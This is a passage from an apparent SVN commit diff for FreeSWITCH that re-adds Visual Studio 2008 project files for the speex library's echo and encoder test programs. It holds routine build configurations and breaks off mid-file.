Deleted: freeswitch/branches/seven/libs/speex/win32/VS2008/tests/testecho.vcproj

Copied: freeswitch/branches/seven/libs/speex/win32/VS2008/tests/testecho.vcproj (from rev 14471, freeswitch/trunk/libs/speex/win32/VS2008/tests/testecho.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/VS2008/tests/testecho.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/win32/VS2008/tests/testecho.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,305 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="testecho"
+	ProjectGUID="{961B8359-1393-4EF7-B8E0-67B6FE1C6DAA}"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="131072"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="Debug"
+			IntermediateDirectory="Debug"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="4"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testecho.exe"
+				LinkIncremental="2"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="true"
+				ProgramDatabaseFile="$(OutDir)/speexenc.pdb"
+				SubSystem="1"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="Release"
+			IntermediateDirectory="Release"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="false"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="3"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testecho.exe"
+				LinkIncremental="1"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release_SSE|Win32"
+			OutputDirectory="$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="false"
+				EnableEnhancedInstructionSet="1"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="3"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testecho.exe"
+				LinkIncremental="1"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath="..\..\..\libspeex\testecho.c"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Header Files"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+		</Filter>
+		<Filter
+			Name="Resource Files"
+			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx"
+			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
+			>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Deleted: freeswitch/branches/seven/libs/speex/win32/VS2008/tests/testenc.vcproj

Copied: freeswitch/branches/seven/libs/speex/win32/VS2008/tests/testenc.vcproj (from rev 14471, freeswitch/trunk/libs/speex/win32/VS2008/tests/testenc.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/VS2008/tests/testenc.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/win32/VS2008/tests/testenc.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,305 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="testenc"
+	ProjectGUID="{961B8359-1393-4EF7-B8E0-67B6FE1C6DAE}"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="131072"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="Debug"
+			IntermediateDirectory="Debug"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="4"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testenc.exe"
+				LinkIncremental="2"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="true"
+				ProgramDatabaseFile="$(OutDir)/speexenc.pdb"
+				SubSystem="1"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="Release"
+			IntermediateDirectory="Release"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="false"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="3"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testenc.exe"
+				LinkIncremental="1"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release_SSE|Win32"
+			OutputDirectory="$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="false"
+				EnableEnhancedInstructionSet="1"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="3"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testenc.exe"
+				LinkIncremental="1"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath="..\..\..\libspeex\testenc.c"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Header Files"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+		</Filter>
+		<Filter
+			Name="Resource Files"
+			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx"
+			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
+			>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Deleted: freeswitch/branches/seven/libs/speex/win32/VS2008/tests/testenc_uwb.vcproj

Copied: freeswitch/branches/seven/libs/speex/win32/VS2008/tests/testenc_uwb.vcproj (from rev 14471, freeswitch/trunk/libs/speex/win32/VS2008/tests/testenc_uwb.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/VS2008/tests/testenc_uwb.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/win32/VS2008/tests/testenc_uwb.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,305 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="testenc_uwb"
+	ProjectGUID="{961B8359-1393-4EF7-B8E0-67B6FE1C6DAC}"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="131072"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="Debug"
+			IntermediateDirectory="Debug"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="4"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testenc_uwb.exe"
+				LinkIncremental="2"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="true"
+				ProgramDatabaseFile="$(OutDir)/speexenc.pdb"
+				SubSystem="1"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="Release"
+			IntermediateDirectory="Release"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="false"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="3"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testenc_uwb.exe"
+				LinkIncremental="1"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release_SSE|Win32"
+			OutputDirectory="$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="false"
+				EnableEnhancedInstructionSet="1"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="3"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testenc_uwb.exe"
+				LinkIncremental="1"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				OptimizeForWindows98="1"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath="..\..\..\libspeex\testenc_uwb.c"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Header Files"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+		</Filter>
+		<Filter
+			Name="Resource Files"
+			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx"
+			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
+			>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Deleted: freeswitch/branches/seven/libs/speex/win32/VS2008/tests/testenc_wb.vcproj

Copied: freeswitch/branches/seven/libs/speex/win32/VS2008/tests/testenc_wb.vcproj (from rev 14471, freeswitch/trunk/libs/speex/win32/VS2008/tests/testenc_wb.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/win32/VS2008/tests/testenc_wb.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/win32/VS2008/tests/testenc_wb.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,305 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="testenc_wb"
+	ProjectGUID="{961B8359-1393-4EF7-B8E0-67B6FE1C6DAD}"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="131072"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="Debug"
+			IntermediateDirectory="Debug"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="4"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="../../../bin/testenc_wb.exe"
+				LinkIncremental="2"
+				AdditionalLibraryDirectories=""
+				GenerateDebugInformation="true"
+				ProgramDatabaseFile="$(OutDir)/speexenc.pdb"
+				SubSystem="1"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="Release"
+			IntermediateDirectory="Release"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC71.vsprops"
+			CharacterSet="2"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="3"
+				InlineFunctionExpansion="2"
+				EnableIntrinsicFunctions="true"
+				FavorSizeOrSpeed="1"
+				AdditionalIncludeDirectories="..\..\..\include;..\.."
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				StringPooling="true"
+				ExceptionHandling="0"
+				RuntimeLibrary="2"
+				BufferSecurityCheck="false"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				Detect64BitPortabilityProblems="true"
+				DebugInformationFormat="3"
+				CompileAs="1"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
